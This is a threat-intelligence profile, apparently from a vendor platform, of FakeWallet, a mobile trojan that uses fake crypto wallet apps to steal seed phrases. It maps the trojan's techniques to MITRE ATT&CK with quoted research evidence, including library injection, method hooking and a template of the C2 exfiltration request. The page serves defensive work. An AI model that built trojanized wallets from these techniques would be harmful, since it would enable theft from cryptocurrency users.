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Mallory
Malware

FakeWallet

Tracked since Apr 20, 2026 · Updated 3 months ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns0Associated
Actors0Associated
ATT&CK18Techniques
IOCs74Tracked
Type
Trojan
Capabilities
Credential theftCrypto theftExfiltrationSpoofing
Delivery
PhishingLanding pageLure
Platforms
AndroidiOS

FakeWallet is a cryptocurrency-focused mobile malware campaign centered on trojanized wallet applications that impersonate legitimate crypto wallet brands in order to steal recovery phrases, private keys, and related wallet secrets. It has been identified on both Android and iOS, with notable activity involving fake wallet apps distributed through counterfeit websites and, in later activity, phishing applications placed in Apple’s App Store that redirected users to malicious installation flows. The operation has primarily targeted cryptocurrency users in China, exploiting the limited availability of some legitimate wallet applications in that market, but the malware’s functionality is not inherently region-locked.

On Android, FakeWallet has appeared as repackaged versions of legitimate wallet applications with malicious code inserted into wallet creation or import workflows so seed phrases can be captured and exfiltrated while the app retains expected wallet functionality. On iOS, observed variants have used multiple techniques, including malicious dynamic library injection, executable hooking, and direct modification of application source code, to intercept wallet restoration and recovery-phrase display flows. Some Ledger-focused variants relied on in-app phishing and fake verification screens rather than direct extraction, reflecting the different security model of cold-wallet companion applications.

The malware’s core objective is crypto-theft through credential and secret capture. Observed behaviors include scraping mnemonic phrases from wallet user interfaces, intercepting recovery workflows, collecting private keys, and exfiltrating stolen data to attacker-controlled infrastructure. Some variants encrypted captured mnemonics before transmission. Researchers have also documented fake wallet applications that simply solicit recovery phrases from victims without providing legitimate wallet functionality.

Distribution has relied on phishing-style impersonation of well-known wallet brands, typosquatting, fake promotional pages, counterfeit app-store experiences, and malicious or trojanized wallet installers. Earlier activity included dozens of fake websites promoting malicious Android and iOS wallet apps and affiliate-style recruitment of distributors. Later iOS-focused activity used benign-looking App Store stubs such as utility or game apps that redirected users to malicious pages and abused provisioning profiles to install infected wallet applications outside normal store controls.

FakeWallet is commonly classified by vendors as a mobile trojan or password-stealing trojan targeting cryptocurrency wallet secrets. Reporting has also noted possible overlap with SparkKitty in some iOS samples based on shared modules and tradecraft, although that linkage has been assessed rather than conclusively established.

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MITRE ATT&CK

Techniques & procedures

18 distinct techniques documented for this family, organized by ATT&CK tactic.

Reconnaissance

1 technique
T1598Phishing for InformationEvidence2

The verify.html phishing page prompts the user to enter their mnemonics... designed to match the app’s style and even supports autocomplete for mnemonics to project quality.

Initial Access

2 techniques
T1189Drive-by CompromiseEvidence1

However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device.

T1566PhishingEvidence3

Opening each of the 26 fraudulent crypto wallet apps, all of which have since been removed by Apple, diverts to phishing pages impersonating legitimate crypto service portals that trick targets into downloading malicious wallet apps through iOS provisioning profiles

Execution

3 techniques
T1204.002Malicious FileEvidence1

...trick targets into downloading malicious wallet apps through iOS provisioning profiles, a technique evident in the SparkKitty campaign

T1574Hijack Execution FlowEvidence2

In most cases, the malware is delivered via a malicious library injection... To embed the malicious library, the hackers injected load commands into the main executable... then swaps out legitimate class methods for malicious versions.

T1574.006Dynamic Linker HijackingEvidence1

In most cases, the malware is delivered via a malicious library injection... To embed the malicious library, the hackers injected load commands into the main executable.

Persistence

1 technique
T1556Modify Authentication ProcessEvidence1

It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.

Privilege Escalation

1 technique
T1548.005Temporary Elevated Cloud AccessEvidence1

By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets

Stealth

6 techniques
T1027Obfuscated Files or InformationEvidence1

This string is encrypted using RSA with the PKCS #1 scheme. The encrypted data is then encoded into Base64.

T1036MasqueradingEvidence3

More than two dozen Apple App Store apps spoofing well-known cryptocurrency wallets Coinbase, Metamask, OneKey, and Trust Wallet, have been leveraged to pilfer seed phrases

T1070Indicator RemovalEvidence1

Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.

T1574Hijack Execution FlowEvidence2

In most cases, the malware is delivered via a malicious library injection... To embed the malicious library, the hackers injected load commands into the main executable... then swaps out legitimate class methods for malicious versions.

T1574.006Dynamic Linker HijackingEvidence1

In most cases, the malware is delivered via a malicious library injection... To embed the malicious library, the hackers injected load commands into the main executable.

T1622Debugger EvasionEvidence1

This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.

Defense Impairment

1 technique
T1556Modify Authentication ProcessEvidence1

It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.

Credential Access

3 techniques
T1056Input CaptureEvidence3

Included in the trojanized apps were additional code enabling the mnemonic phrase interception, encryption, and exfiltration.

T1556Modify Authentication ProcessEvidence1

It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.

T1649Steal or Forge Authentication CertificatesEvidence1

This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device.

Discovery

2 techniques
T1083File and Directory DiscoveryEvidence1

the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign in its name

T1622Debugger EvasionEvidence1

This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.

Collection

2 techniques
T1056Input CaptureEvidence3

Included in the trojanized apps were additional code enabling the mnemonic phrase interception, encryption, and exfiltration.

T1074Data StagedEvidence1

verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server.

Command and Control

1 technique
T1071.001Web ProtocolsEvidence2

The POST request used to exfiltrate those encrypted mnemonics looks like this: POST < c2_domain > / api / open / postByTokenPocket ? ciyu = < base64_encoded_encrypted_mnemonics >

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence3

Included in the trojanized apps were additional code enabling the mnemonic phrase interception, encryption, and exfiltration.

Indicators of compromise

Observables

74 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

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Activity feed

Recent activity

5 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

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Mallory platform

The version that knows your environment.

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IOC matching74Match every observed IP, domain, and hash against your live telemetry.
Associated threat actorsGroups linked to this family, with evidence pinned to each claim.
Associated vulnerabilitiesCVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping18Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.